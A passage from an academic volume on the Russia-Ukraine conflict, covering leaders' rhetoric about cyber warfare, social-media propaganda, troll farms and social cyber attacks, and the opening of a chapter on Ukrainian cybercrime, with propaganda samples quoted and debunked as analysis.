statements, speeches, press releases and other rhetoric from 2014 and 2015, especially the English-language elements, written for a global audience and printed in international media. The author also searched major international news outlets for the keywords Ukraine Russia cyber , and information warfare . In all cases, focus remained on the rhetoric attributable to a head of state or other high-level political player,7 with an eye toward uncovering their underlying motivations, beliefs, and ideologies. Analytical Focus This analysis is designed to yield insight into numerous areas of international concern. Above all, the world would like to understand more about the emerging threat of cyber warfare. New developments in research and technology, as well as in the means and methods of war, are usually far ahead of their codification in doctrine. Computer network operations fit nicely within the concept of hybrid warfare that has been so characteristic of the Russo-Ukrainian conflict. Cyber attacks are similar to covert operations, information operations, denial and deception, false flag and no-flag attacks: they give national command and conAn analysis of political trol structures some degree of plausible denirhetoric may yield signif- ability. These aspects of war tend to be highly classified; therefore, an analysis of political rheticant insight into what oric may yield significant insight into what polipoliticians cannot disticians, soldiers and spies simply cannot discuss in public forums, namely, one of the most vexcuss in public forums. ing challenges of cyber attacks: attribution. Political leaders must appeal to the hearts and minds of their domestic and international audiences, with the help of emotional and sometimes long-winded speeches. National security establishments must provide legal support for their actions through the release of press statements and promulgation of doctrine. With these in hand, analysts may be able to understand much more about the otherwise covert nature of cyber attacks. In 2015, Russia has a fairly well-developed military doctrine on cyber and information warfare, while that of Ukraine is still in its infancy. This analysis offers a deeper understanding of each nation s non-explicit political objectives related to cyber warfare. Henrik Larsen. Foreign Policy and Discourse Analysis: France, Britain and Europe (London: Routledge advances in International Relations and Politics, 1997), 11. Ibid, 14. Unfortunately, on the current President of Ukraine website, documents and speeches by former Ukrainian President Viktor Yanukovych cannot be found. Russia Since the turn of the century, Russia has been publicly admiring European values while simultaneously emphasising sovereignty and a strong national defence.8 Moscow insists that each nation in the region should be given a right to experiment with its own democratic model that fits its national and international conditions .9 This tension may only grow stronger with time, and we may see further Russian moves away from shared values in the future as Moscow confronts not only Ukraine but also the West more generally, including in Syria. Regarding Ukraine, Russia insists it is a bystander and even a victim. Putin said, There are still many threats and challenges in the world today. As you may know, in Europe, militant nationalism is raising its head here and there the one that once led to the appearance of the Nazi ideology. I will not dwell on each of the hotspots separately we all know where the danger is. Incidentally, the situation in our neighbouring brotherly Ukraine is an example of the disaster and loss such an irresponsible policy can bring about. 10 In explaining Gazprom s tough stance vis- -vis Ukraine, for example, Putin has argued that there was no other choice but to take a hard line against Kyiv,11 again placing Russia as a bystander, not an active party. Putin has consistently delegitimised Poroshenko s government: There can only be one assessment: this was an anti-constitutional takeover, an armed seizure of power [that] significantly destabilised the east and southeast of Ukraine [ ] we see the rampage of reactionary forces, nationalist and anti-Semitic forces going on in certain parts of Ukraine, including Kyiv ] Are the current authorities legitimate? The Parliament is partially, but all the others are not. The current Acting President is definitely not legitimate [ one set of thieves [is] being replaced by another. [ ] We will not fight with the Ukrainian people [but] I do not have a partner at the top level there Throughout the Ukraine crisis which Throughout the Ukraine cribegan in 2014, Vladimir Putin has not sis, Vladimir Putin has not once used the word cyber . This does not once used the word cyber signify a lack of interest in the subject, or that Russia has not engaged in computer network operations, but it does demonstrate a preference not to discuss the issue, which in turn likely means that cyber warfare as a distinct form of attack, from Andrei P. Tsygankov. Russia s Foreign Policy: Change and Continuity in National Identity (Rowman & Littlefield Publishers, 2013), 181. Ibid. Meeting with Presidents of Armenia, Belarus, Kyrgyzstan and Tajikistan Website of the President of Russia, 8 May 2014), http://en.kremlin.ru/events/president/news/20980. Message to the leaders of European countries regarding the supply and transit of Russian gas across the territory of Ukraine Website of the President of Russia, 15 May 2014, http://en.kremlin.ru/events/president/news/page/82. Vladimir Putin answered journalists questions on the situation in Ukraine Website of the President of Russia 3 April 2014), http://en.kremlin.ru/events/president/news/20366. Russia s perspective, has not played a major role in the Ukraine conflict. There have been some commercial reports alleging specific Russian cyber attacks, such as that by the security firm FireEye,13 but these are typically dismissed as Western propaganda. According to Kremlin spokesman Dmitry Peskov, We know that blaming Russia for everything has turned into a sport Putin did refer to the stories about phone hacking and surveillance of top politicians, which were prominent in the news in 2014: As for the facts of cyber espionage that you mentioned, it not only amounts to overt hypocrisy in relationships between allies and partners, but also a direct violation of the state s sovereignty, an infringement on human rights and an invasion of privacy. We are looking forward to jointly developing an international information security system This quote may indicate an underlying assumption of Russian doctrine: today, everyone is spying on everyone, there are currently no acceptable international laws to govern such activities in cyberspace, and Russia must be a part of any credible effort to develop such norms. Although Russia claims not to be directly involved in the Ukraine conflict, Moscow still wants to direct its peace-making efforts. Putin has championed a consideration of Ukraine s eastern regions16 has produced a diplomatic solution called the Putin Plan17 and gave the instruction to hold consultations with foreign partners, including the IMF and the G8 countries, on organising financial assistance for Ukraine Ukraine Many of these quotes came from the President of Russia s website, and are directly attributable to Vladimir Putin. However, most of the conflict-related quotes in this section from the President of Ukraine s website are from news articles and press releases that quote Ukrainian President Petro Poroshenko. Unlike on the Russian site, full-length Ukrainian speeches are a smaller proportion of the presidential communications. That said, Ukraine has been much clearer than Russia in identify13 APT28 A Window Into Russia s Cyber Espionage Operations? FireEye, https://www2.fireeye.com/apt28.html. Owen Matthews. Russia leading the way in the cyber arms race, Irish Examiner, 13 June 2015, http://www.irishexaminer.com/ lifestyle/features/big-read-russia-leading-the-way-in-the-cyber-arms-race-336675.html. Interview to Prensa Latina and ITAR-TASS Website of the President of Russia, 11 July 2014, http://en.kremlin.ru/events/ president/news/46190. On the start of contacts with Ukraine s Choice public movement in Donetsk and Lugansk Website of the President of Russia, 22 June 2014, http://en.kremlin.ru/events/president/news. The Putin Plan for settling the conflict in Ukraine Website of the President of Russia, 3 September 2014, http://en.kremlin. ru/events/president/news/46554. Instructions regarding the situation in Ukraine Website of the President of Russia, 27 February 2014, http://en.kremlin.ru/ events/president/news/20347. ing cyberspace as a separate and active Ukraine has been much domain of conflict. Various terms have clearer than Russia in identibeen used, such as cyber security fying cyberspace as a separate informational cyber-security system and active domain of conflict. of Ukraine , and cyber and information security .21 These terms may refer to slightly different things at different times, but in general, there was more cyber warfare-related content to analyse. From the beginning of the conflict, Ukraine has suffered a variety of network attacks. In February 2014, the Ukrainian telecommunications firm Ukrtelecom reported that unknown people 22 had damaged a fibre backbone cable that resulted in the loss of communication between Crimea and the rest of Ukraine. Not long after, Ukrainian security chief Valentyn Nalivaichenko announced, I confirm that an ... attack is under way on mobile phones of members of the Ukrainian parliament for the second day in a row .23 The most sophisticated attack came against the Ukrainian Central Election Commission (CEC) during Ukraine s Presidential elections.24 However, there was no official attribution for any of these attacks provided by the government in Kyiv. There were at least two cases of cyber attack attribution, both to Russia. The Security Service of Ukraine linked the disruption of mobile communications and the defacement of websites to pro-Russian hackers and to pro-Russian forces in Crimea. There was no direct link made to Moscow, perhaps in part because the IP-telephonic attack was aimed at top Ukrainian politicians irrespective of their political allegiance.25 On another occasion, when the hacktivist group CyberBerkut claimed responsibility for an attack on German government websites, Ukrainian Prime Minister Arseny Yatseniuk placed the blame on Russian intelligence: strongly recommend that the Russian secret services stop spending taxpayer money for cyberattacks against the Bundestag and Chancellor Merkel s office In the case of downed Malaysian airliner MH17, which Poroshenko called terrorism,27 the President stated that The State Security Service of Ukraine has inter19 President met with U.S. Congress delegation, Office of the President of Ukraine, 6 August 2014 http://www.president.gov.ua/ en/news/prezident-zustrivsya-z-delegaciyeyu-kongresu-ssha-35766. NSDC decision: Ukraine asks the UN, NATO, EU, OSCE and strategic partners for help, Office of the President of Ukraine, 28 August 2014, http://www.president.gov.ua/en/news/ukrayina-zvertayetsya-za-dopomogoyu-do-oon-nato-yes-obsye-de-33573. Presidents of Ukraine and Lithuania have held the Seventh session of the Council of Presidents Office of the President of Ukraine, 24 November 2014. http://www.president.gov.ua/en/news/prezidenti-ukrayini-i-litvi-proveli-some-zasidannya-radi-pre-34105. Ukrtelecom. Ukrtelecom s Crimean sub-branches officially report that unknown people have seized several telecommunications nodes in the Crimea, 28 February 2014, http://en.ukrtelecom.ua/about/news?id=120467. Dave Lee. Russia and Ukraine in cyber stand-off BBC News, 5 March 2014 http://www.bbc.com/news/technology-26447200. SRK/NN/SS, Hackers attack Ukraine election website, PressTV, 25 October 2014, http://www.presstv.com/detail/2014/10/25/383623/ukraines-election-website-hacked. Max Smolaks. Security Service Of Ukraine Claims Politicians Phones Are Under Attack, TechWeek Europe, 4 March 2014, http://www.techweekeurope.co.uk/workspace/security-service-ukraine-claims-politicians-phones-attack-140643. Erik Kirscbaum. Ukraine says Russia behind cyber attack on German government, Reuters, 8 January 2015, http://www. reuters.com/article/2015/01/08/us-germany-cyberattack-idUSKBN0KH0IY20150108. Address of the President on the occasion of the crash of Malaysia Airlines aircraft, Office of the President of Ukraine, 18 July 2014, http://www.president.gov.ua/en/news/zvernennya-prezidenta-z-privodu-tragediyi-z-litakom-aviakomp-33262. cepted a conversation in which one of the leaders of the mercenaries boasted about bringing down the plane in his reporting to his Russian supervisor, a colonel of the General Intelligence Unit of Russia s Armed Forces 28 and terrorists have already declared their desire to hide the evidence and transport the aircraft s black boxes to Moscow In eastern Ukraine, Poroshenko contends that the separatist movement is fully controlled by Russian leadership30 and even in government-controlled territory, he announced that [t]he Security Service of Ukraine unmasked and neutralised the terrorist group coordinated by special forces of the Russian Federation To international audiences, Poroshenko has focused primarily on the broader topic of hybrid warfare, taking care to fit within the narratives and terminology of the West. At the 2015 Munich Security Conference, he said that [f]or over a year To international audiences, Poroshenko has focused pri- Ukraine has been facing dramatic consequences of an undeclared hybrid warfare. marily on the broader topic It is very important that the states in the of hybrid warfare. region devote more attention to hybrid threats. [ ] Today, a former strategic partner is waging a hybrid war against a sovereign state, a co-founder of the United Nations. Mounds of lies and propaganda have been heaped into a wall of hatred, erected between two once friendly nations .32 While analysts have yet to agree on a common definition of hybrid warfare, it certainly encompasses Internet-based propaganda, information operations, and computer hacking. Looking toward the future, Poroshenko has positioned himself as a President of Peace on the forefront of the global fight for democracy .34 Russia is the clear antagonist: all military threats and challenges are related to Russia, 35 and Moscow s war has brought Ukraine to the brink of its survival .36 Poroshenko argues that not just Ukraine, but the whole world needs a resolution to this conflict,37 and that democracies must support each other .38 Ultimately, Ukraine s national security goal is full Ibid. Ibid. President s statement on ceasefire from February 15, Office of the President of Ukraine, 15 February 2015, http://www.president.gov.ua/en/news/zayava-prezidenta-pro-pripinennya-vognyu-z-0000-15-lyutogo-34723. Head of the Security Service of Ukraine reports to the President: Terrorist group coordinated by Russian special forces was neutralized, Office of the President of Ukraine, 16 August 2014, http://www.president.gov.ua/en/news/zneshkodzheno-teroristichnu-grupu-yaku-koordinuvali-specsluz-33478. Speech by President of Ukraine Petro Poroshenko at the Munich Security conference, Office of the President of Ukraine, 7 February 2015, http://www.president.gov.ua/en/news/vistup-prezidenta-ukrayini-petra-poroshenka-na-myunhenskij-k-34663. Petro Poroshenko. Speech by President of Ukraine Petro Poroshenko at the Munich Security Conference 2015. Petro Poroshenko. Address by the President of Ukraine Petro Poroshenko to the Joint Session of the United States Congress, September 2014, http://www.president.gov.ua/en/news/vistup-prezidenta-ukrayini-petra-poroshenka-na-spilnij-sesiy-33718. President: New Military Doctrine is based on the duration of threat from Russia and demands full compatibility of the Armed Forces with NATO standards, Office of the President of Ukraine, 2 September 2015, http://www.president.gov.ua/en/news/ nova-voyenna-doktrina-vihodit-z-trivalosti-zagrozi-z-boku-ro-35907. Ibid. Petro Poroshenko. President s statement on ceasefire from February 15 2015. Petro Poroshenko. Address by the President of Ukraine Petro Poroshenko to the Joint Session of the United States Congress 2014. NATO membership .39 The President asserted that Ukraine is not a NATO member now. Unfortunately, we are not allies de jure. Yet, de facto we are more than just partners Ukraine is the eastern outpost of Euro-Atlantic civilisation, which is now defending not only sovereignty, territorial integrity and independence of our country. The Role of Non-state Actors In the cyber domain, non-state, sometimes anonymous actors can play a significant role in any conflict. During the Ukraine crisis, numerous groups such as CyberBerkut have positioned themselves as independent, Internet-based guerrillas, and to some degree they have influenced the course of events. In general, there is too little public information available for analysts to determine if any of these non-state actors has a direct or indirect government connection. In Ukraine, one of the most prominent non-state cyber leaders is Eugene Dokunin, who describes himself as a lone wolf waging a furious battle against the thousands of paid hackers and trolls in Russia .41 Whereas governments may not boast about their achievements, rogue actors do. Dokunin s group claims to have blocked more than 170 PayPal and other online accounts belonging to separatists, and frozen almost $3 million of their cash. In one attack, they compromised networked printers in separatist regions, forcing them to spew out documents glorifying Ukraine, as well as the popular chant Putin is a dick , which is sung in football stadiums across Ukraine .42 Dokunin reserves some of his ire for the sitting government in Kyiv: The Ukrainian Government hasn t invested a cent in cyber warfare, even though this is also an information war Conclusion Communication analysis reveals that both Putin and Poroshenko have adopted similar rhetorical strategies good vs. evil and us vs. them in an effort to rally citizens around the flag. They emphasise the righteous nature of their cause, their leadership in working toward a solution, and other countries approval of their political stances. This is an exercise in national identity building, while portraying the adversary as illegitimate, dangerous, and even terrorist in nature. To resolve the Speech by President of Ukraine Petro Poroshenko at the session of the National Security and Defense Council of Ukraine with participation of NATO Secretary General Jens Stoltenberg, Office of the President of Ukraine, 22 September 2015, http://www. president.gov.ua/en/news/vistup-prezidenta-ukrayini-poporoshenka-na-zasidanni-radi-na-36007. Petro Poroshenko. Speech by President of Ukraine Petro Poroshenko at the session of the National Security and Defense Council of Ukraine with participation of NATO Secretary General Jens Stoltenberg, 2015. Vijai Maheshwari. Ukraine s Lonely Cyberwarrior vs. Russia, The Daily Beast, 18 February 2015, http://www.thedailybeast. com/articles/2015/02/18/ukraine-s-lonely-cyber-warrior.html. Ibid. Russia has focussed on national interests, while Ukraine has appealed to the international community. situation, Russia has offered its services as an indispensable negotiator. By contrast, Ukraine has oriented its national strategy to the West and to NATO. Russia has focussed on national interests, while Ukraine has appealed to the international community for understanding and support. Even while Russia and Ukraine have been engaged in a modern, military conflict, its leaders have shed very little light on cyber warfare. Russia has referred to it only in high-level, diplomatic terms. Ukraine, despite the fact that it has suffered numerous cyber attacks, primarily frames the issue within the larger concept of hybrid warfare. Neither country denies that cyberspace is now a theatre of warfare, or that it is part of the Ukrainian conflict, but neither has argued that cyberspace is an integral aspect of it. And for the most part, this echoes the sentiments of other authors and chapters in this volume. Chapter 12 Strategic Communications and Social Media in the Russia Ukraine Conflict Elina Lange-Ionatamishvili Sanda Svetoka NATO Strategic Communications Centre of Excellence Introduction The new information environment has changed the nature of warfare. The events in south-east Ukraine have demonstrated that a conflict can be won without firing a single shot and some of the key battles can take place in the cyber and communications domains rather than on the land, air and sea. As Thomas Elkjer Nissen said Key battles can take place in in his recent book, the internet, cyberthe cyber and communicaspace, and social media can be used to tions domains rather than collect intelligence or even to target peoon the land, air and sea. ple and organisations. Such tactics may be employed in isolation, but they are much more likely to be an integral part of a larger strategy.1 The operation for the take-over of Crimea was a particularly bold example of an influence operation where the traditional role of conventional forces was mini1 Thomas Elkjer Nissen. #TheWeaponizationOfSocialMedia. @Characteristics_of_ Contemporary_Conflicts. Copenhagen: Royal Danish Defence College, 2015. mised. As the conflict continues to develop in the east of Ukraine, Russia continues to exploit the opportunities offered by new technologies and the new information environment. It does so with the purpose of influencing the hearts and minds of its audiences: if Russia succeeds in mobilising its supporters, demonising its enemy, demoralising its enemy s government and armed forces, and legitimising its own actions, then really there is no need for conventional fighting in order to subdue Ukraine. In the modern-day operations cyberspace plays an increasingly important role. A targeted attack by an adversary in the cyber environment is often understood as an attack on the computerised systems which help us run our daily lives and businesses, sustain critical infrastructure and conduct financial transactions amongst other things. As the former White House advisor Richard Clarke writes, a cyber-attack can mean that these vital systems go down and we see exploding oil refineries, derailing trains, runaway satellites, food shortages, and much more.2 But what we do not often realise is that we can be attacked in the cyber environment by an adversary presenting manipulative information to us with the intent to affect our perception of the situation and our decision-making, and provoke some resulting action. The real-life consequences of this soft cyber-attack can be as severe as an attack on a critical infrastructure. Strategic Communications and Cyberspace Strategic Communications (StratCom) is a mind-set which implies placing communications at the heart of a strategy. It means that our activity is narrative-driven and we communicate it to different audiences through coordinated words, images and deeds. Cyberspace plays an increasingly important role in StratCom as our dependency on modern technologies, computer networks and the internet grows day by day. We use it for receiving and conveying information, for coordinating our actions and also for analysing the environment around us in order to detect and evaluate potential threats. Cyberspace is often used in a conflict in order to take out the communications systems of an adversary. However, the conflict in Ukraine has demonstrated that cyberspace can also play a role in conducting a narrative-driven operation where the main targets are not the machines or networks but the minds of the people. The internet and social media, due to their ability to multiply information at high speed and at little cost, are increasingly used for propaganda, information warfare, and influence operations, all of which can tangibly change both the perception and behaviour of the target audience. It is a highly dynamic, user-driven, constantly changing environment where it is easy to get a message to go viral , and also difficult Richard A. Clarke and Robert Knake. Cyber War: The Next Threat to National Security and What to Do About It. New York: HarperCollins, 2011. to track the initial source of information, verify its authenticity, and separate fact from fiction. With the increasing popularity of social media platforms, the concept of social cyber attack is gaining traction.3 It allows for a low-cost, speedy way of manipulating society s perceptions in order to cause disruptive behaviour in real life. The social cyber attacks observed during the crisis in Ukraine led to an assumption that at least part of them were implemented in an organised way, as part of a larger influence strategy. Psychological Operations (PSYOPS) and Social Media Psychological Operations (PSYOPS) is a military activity which is aimed at influencing the perceptions, attitudes and behaviours of target populations. The perception is usually affected by either emotional appeals or rational arguments, corresponding to the master narrative, and in social media, where one has to compete with a flood of information and large amounts of information noise, elements like surprise, cognitive dissonance, easily recognisable symbols or some eye-catching techniques are used in order to draw the audience into the PSYOPS product. In PSYOPS the influence over a target group is often achieved by spreading rumours. Those can be: Hate rumours: exploit ingrained dislikes and prejudices of a target population. Fear rumours: exploit a human tendency to believe the worst. Hope rumours: exploit wishes for a favourable turn of events. Modern technology allows particularly easy exploitation of digital material in order to produce falsified or ambiguous content which can be used for deception and manipulation. Textual messages (posts, status updates, comments) can also be crafted according to the same principles. Social media provides fruitful soil for PSYOPS as it is largely a trust-based network since it is formed on a networks of friends or like-minded group members. Hence the information coming from an individual or group can be more trusted than that coming from an official mass-media outlet or government communicators. This trust can be manipulated to achieve particular effects. It allows targeting of groups of people connected by certain social ties which increases the chance of the desired effect on perception and behaviour. It is also very easy to hide the real identity or original source of information on social media as well as manipulate digital data such as imagery. Hence the concept Rebecca Goolsby. On Cybersecurity, Crowdsourcing and Social Cyber-Attack. Washington: Wilson Center. U.S. Office of Naval Research, 2013. of social cyber attack becomes increasingly important as it is based on manipulated information being spread under false identities to networks of users. Understanding Social Cyber Attacks A social cyber attack, as defined by Dr Rebecca Goolsby, involves acting under false pretences or anonymously, by either releasing a manipulated signal into the social media or by manipulating an existing signal in order to achieve the desired effects: chaos, panic, mass disorders. This type of cyber attack offers a different view to the traditional views on attacks in the cyber environment, as the effects of these attacks are purely psychological. Spreading rumours is one of the most effective tactics of the social cyber attack, as those can create fear, hate or unfounded hope in the target audience which will most likely result in real-life action: for example, mass protests, withdrawing Spreading rumours is one from banks, or organised attacks on of the most effective tactics money certain groups or individuals whose image of social cyber attack. has been portrayed as the enemy.4 Social cyber attack can also involve traditional hacking if the information to be manipulated and released needs to be obtained or published this way. Since the concept of the social cyber attack is very new, it is often difficult to determine what activity should be classified as one. One might argue that the key component to social cyber attack is the narrative which drives it. The actions by the pro-Russian Cyber Berkut ) and its nemesis, the pro-Ukrainian Cyber Hundred ) can serve as examples. Cyber Berkut is frequently in the news, propagating the Russian political narrative as well as hacking both the Ukrainian Government and other countries. The group successfully attacked and defaced the websites of the North Atlantic Treaty Organisation (NATO) and the NATO Cooperative Cyber Defence Centre of Excellence (NATO CCD COE), claiming that its activities were in retaliation for NATO support for Ukraine.5 However, the key to Cyber Berkut s activities is the narrative which it uses to justify and promote its activities. Cyber Berkut claimed credit on its social networking site VKontakte page for hacking electronic advertising billboards in the centre of Kyiv prior to a Ukrainian parliamentary election on 24 October 2014, displaying videos of numerous prominent Ukrainian politicians and labelling them war criminals:2 [English translation] We Cyber Berkut intend to use every opportunity to defend the interests of Ukrainian citizens from the arbitrariness of nationalist Ibid. The post and video can be found here: http://vk.com/wall-67432779_14678 fringe and the oligarchic elite Today, we have used a few dozen billboards in Kyiv, Ukraine to remind people about the futility of farcical elections reiterate once again that no one will change our lives for us. If the people will continue to hope that the authorities in the offices there are people concerned about the problems of ordinary citizens, Ukraine will be more immersed in the chaos of civil war. The United States and the West first brought into the government people who are ready to sell our country to please their owners, and now want to put the same traitors in Parliament. Today, everyone has to realise that his decision depends the future of our country, and the sooner we crack down on neo-Nazi government and deputies, who are just cashing in on this war, the sooner the country s peace and order. This narrative was also spread on social media networks. Analysing this statement, one can identify clear attempts to construe enemy images of the Ukrainian Government and induce fear in the population by calling it neo-Nazi and threatening chaos and civil war. The hacking of the billboards had no other meaning than to conduct a social cyber attack by propagating this narrative and spreading rumours through manipulated information. Social Media in the Russian-Ukrainian Conflict During the war in Ukraine, social media has become home to intense conflict-related information updates, impassioned arguments, and debate.6 The social media space has been abused, and pro-Russian forces have given the world a masterclass. At the beginning of the conflict, we saw strategic communications in action. Over Twitter and YouTube, unknown attackers released an intercepted phone conversation between the U.S. Assistant Secretary of State Victoria Nuland and Geoffrey Pyatt, the U.S. Ambassador to Ukraine.7 In one stroke, the perpetrators sought to discredit Western policy and to announce their access to Western lines of government communication. Thus we saw both a technical exploit on an information system and a psychological attack on the West via social media. During the course of the conflict, Russia s narrative has been tightly scripted and disseminated, both on traditional media (in breaking and eyewitness accounts on television) and in cyberspace via social media. These venues are mutually reinforcing, encompassing older and younger readers with varying degrees of access to technology. For example, one can no longer watch Ukrainian television in eastern Ukraine; similarly, Russian television channels are no longer available in western Ukraine. See, for example, Irina Anilovskaja. , Alfra Reklama, 2014. Anne Gearan. In recording of U.S. diplomat, blunt talk on Ukraine Washington Post, 6 February 2014, https://www.washingtonpost.com/world/national-security/in-purported-recording-of-us-diplomat-blunt-talk-on-ukraine/2014/02/06/518240a48f4b-11e3-84e1-27626c5ef5fb_story.html. On social media, pro-Russian voices have systemically cultivated fear, anxiety, and hate among the ethnically Russian (and other non-Ukrainian populations) of Ukraine. They have manipulated and distributed images of purported atrocities by the Ukrainian army, including: mass graves of tortured people, civilians used for organ trafficking, burning crops to create a famine, recruiting child soldiers, the use of heavy weapons against civilians, and acts of cannibalism.8 Via social media, such information whether offered with some evidence or merely in the form of rumours often criss-crosses the globe in minutes, and a well-organised social media campaign can easily influence a target population s perceptions and behaviours. The Latvian media company LETA conducted an analysis of Twitter posts during the first six months of 2014, and identified an increasing polarisation between pro-Russian and pro-Ukrainian social media users as the conflict escalated, especially following the violence in Odessa.9 The researchers wrote that 12.2% of all tweets related to the conflict in eastern Ukraine were aggressive , dominated by pro-Russian stances, most intense relative to human casualties, and included epithets such as fascist and ruscist The conflict in Ukraine has seen Numerous social media numerous social media postings that postings appear to be dissem- appear to be deliberately disseminated inated in order to manipulate in order to manipulate people in eastern Ukraine and beyond. During the people in eastern Ukraine. May 2014 violence in Odessa, someone posted the following to Facebook: [English translation] Hello. My name is Igor Rosovskiy. I am 39 years old. I live in the city of Odessa. I have worked as an emergency physician for 15 years. Yesterday, as you know, there was a terrible tragedy in our city, some people killed other people. They killed them in a brutal way by burning them alive, not in a drunken stupor, not to get their grandmother s inheritance, but because they share the political views of nationalists. First they brutally beat their victims, then burned them alive. As a doctor, I rushed to help those whom I could save, but the fighters stopped me. They didn t let me go to the wounded. One rudely pushed me, promising that I and other Jews would suffer a similar fate. I saw a young man I could have saved if I could have taken him to the hospital, but my attempts at persuasion were met with a blow to the face and lost glasses. In fifteen years I have seen much, but yesterday I wanted to cry, not from the blows and humiliation, More information about the false information related to Russian Ukrainian can be found at StopFake.org, 21 August 2014, http://www.stopfake.org/en/russia-s-top-100-lies-about-ukraine/ G.C. Ukraine s murky inferno: Odessa s fire examined. The Economist Eastern Approaches blog. 8 May 2014, http://www.economist.com/blogs/easternapproaches/2014/05/odessas-fire-examined. Ruscist is an invented word with offensive meaning, a combination of the words Russian and fascist but from my helplessness in being unable to do anything. In my city, such things did not happen even during the worst times of Nazi occupation. I wonder why the world is silent. The Russian-language social networking website Vkontakte saw more than 5,000 shares of this post within 24 hours, and it was quickly translated into English, German, and Bulgarian. However, analysts subsequently discovered that Dr. Rozovskiy s profile picture was actually that of a dentist from the North Caucasus, and now believe this social media post to be a hoax.11 On 4 June 2014, Pavel Astakhov, the Children s Ombudsman under the President of the Russian Federation, announced on his Instagram account that more than 7,000 Ukrainian refugees had fled Ukraine and arrived in the Rostov Oblast in the previous 24 hours. The next day, that number had risen to 8,386. Russian mass media reported these numbers, but Rostov authorities apparently contradicted them, where the Governor s office reported that the number of refugees did not exceed 712.12 In July 2014, 3-year-old boy was allegedly tortured and crucified by the Ukrainian military in a public square in Slovyansk, Ukraine. The Russian state-run TV Channel One broadcast the eyewitness testimony of Galina Pyshnyak, who stated that she and others were forcibly brought to the central square to witness the public execution. The interview took place at a refugee camp in Russia s Rostov region and was widely disseminated on social media.13 However, Russian journalist Yevgeny Feldman of Novaya Gazeta, as well as journalists from Russia s independent channel Dozhd, challenged the report with contradictory testimonies from multiple interviews in Slovyank, in which numerous residents denied any knowledge of the incident.14 Throughout 2014, the list of rumours from eastern Ukraine grew to be quite long: the Kyiv government and European Union were building concentration camps; the forest was full of right-wing killers; the May 9 Victory Day holiday had been cancelled;15 property would be confiscated; and use of the Russian language was prohibited. On one occasion, terrified locals called the Donbas Water Company after social media informed them that the region s water supply had been poisoned.16 These stories can be contrasted with the Polite People campaign on Vkontakte, which supported the Russian invasion of Crimea with pictures of Russian troops posing alongside girls, mothers with children, the elderly, and pets.17 Odesa Doctor Or Random Dentist? Claims Of Atrocities, Anti-Semitism Face Scrutiny, Radio Free Europe/Radio Liberty, 27 June 2015, http://www.rferl.org/content/ukraine-unspun-odesa-doctor-dentist-false-claim/25372684.html. Rostov officials refuted information about thousands of Ukrainian refugees, StopFake.org, 6 June 2014, http://www.stopfake. org/en/rostov-officials-refuted-information-about-thousands-of-ukrainian-refugees/. , 12 July 2014, http://www.1tv.ru/news/world/262978. (w/eng subs), 13 July 2014, https://www.youtube.com/watch?v=UA1LE6iKMfk. Lily Hyde, Rumors and disinformation push Donetsk residents into wartime siege mentality, Kyiv Post, 3 May 2014, http:// www.kyivpost.com/content/ukraine-abroad/rumors-and-disinformation-push-donetsk-residents-into-wartime-siege-mentality-346131.html. Ibid. NATO Strategic Communications Centre of Excellence. Analysis of Russia s Information Campaign against Ukraine, 2014. Troll Farming Who tweets in support of politics? Who posts Facebook updates in support of military operations? Of course, there are millions of true believers in the world, adherents to every cause under the sun. However, it is also possible to fabricate support for anything, especially in cyberspace. The social media offers great opportunities for state and non-state actors to use fake identities or automatically generated accounts to disseminate their narrative to audiences as widely as possible. On 24 May 2014, hacked and leaked email correspondence (revealed on b0ltai. org) allegedly from a company called the Internet Research Agency in St. Petersburg, Russia, offered evidence of the existence of a professional troll farm , including the firm s relationship to the Russian Government. Media reports suggested that recruitment of employees had occurred prior to the onset of military operations, and that workers were tasked with writing 100 internet posts per day.18 For strategic communications, these developments are critical to understanding modern information operations including disinformation and PSYOPS, as a well-orchestrated social media campaign could significantly affect the prevailing political narrative. It is possible to analyse the social media domain in an effort to separate fact from fiction, to investigate when accounts were created, whether they have credible content or a real networks of real friends, but to do this accurately and in a timely manner is an extraordinary challenge for anyone, including law enforcement and counterintelligence organisations.19 Conclusion The suspicious and seemingly targeted use of social media in the Russian-Ukrainian conflict offers considerable evidence that social media is being extensively used to support military actions on the ground. To Social media is extensively some degree, the information operations have generated fear, uncertainty, and doubt used to support military about the economic, cultural, and national actions on the ground. security of Ukraine, especially in the eastern provinces where there are strong historical ties to Russia. The goal of these social media operations may be to convince Ukrainians that the Euromaidan movement has led only to political chaos in the country, and has not been in Ukraine s best long-term interests. This message can be contrasted with , Novaya Gazeta, September 9, 2013, http://www.novayagazeta.ru/politics/59889.html. Kenneth Geers and Roelof Temmingh. Virtual Plots, Real Revolution, The Virtual Battlefield: Perspectives on Cyber Warfare, ed. Kenneth Geers and Christian Czosseck, 294-302 (Tallinn: NATO CCD COE, 2009). some examples of social media commentary from Crimea: that its incorporation into Russia has led to safety and stability on the Crimean peninsula. The use of cyberspace both to attack the infrastructure and to influence people s hearts and minds is a new phenomenon that has been increasingly used in recent conflicts to support military operations on the ground. This kind of warfare will not disappear; on the contrary the combination of actions which are targeted at infrastructure and human psychology will be used in more sophisticated and unpredictable ways in the future. A three step approach could be recommended for security experts and national decision makers to prepare better to meet these kind of challenges: Identify. Governments and defence organisations should enhance their capabilities to identify the detrimental use of social media. Information campaigns which entail propaganda and automated or fake accounts to rapidly disseminate information should be closely monitored and analysed. This also includes additional efforts in order to understand how these campaigns are organised and what effects they can have on public perception. Challenge. Examples by citizen journalists have shown that revealing false facts to the public is an effective approach in mitigating the effects of disinformation. At the same time it is important not to engage in counter-propaganda as this fuels the information war and creates public distrust rather than diminishing the power of misinformation. Humour perhaps could be more helpful in countering aggressive propaganda as it hampers the ability to achieve its aim subduing the society of the target country. The initiatives in Twitter like @DarthPutinKGB or @Sputnik_Intl are good examples of how to challenge Russia s disinformation campaign with irony and jokes. Learn and prepare. The development of the unifying strategic narrative the story which entails the set of the values and beliefs of your country or organisation is the best defence against propaganda which questions them. A long-term educational effort to enhance critical thinking and media (including social media) literacy would also contribute greatly to society s self-defence against manipulation. Chapter 13 Ukraine: A Cyber Safe Haven? Nadiya Kostyuk University of Michigan Introduction Since the end of the Cold War, there has been a proliferation in online criminal activity in Eastern Europe, and Ukraine is no exception. Famous for its hacker community, Ukraine ranks among the Top 10 countries in the world in cyber crime1 and number 15 as a source of Distributed Denial of Service (DDoS) attacks.2 In 2012, five Ukrainian nationals stole more than $72 million from U.S. bank accounts;3 in 2013, Ukrainian hackers stole 40 million sets of debit and credit card details from the US retail chain Target;4 in 2014, the RAND Corporation wrote that Russian and Ukrainian (the primary language of Ukraine) were the lingua franca of online hacker forums.5 In this light, it is natural to wonder if Ukraine is today a safe haven for cyber criminals. To be sure, there have been some law enforcement 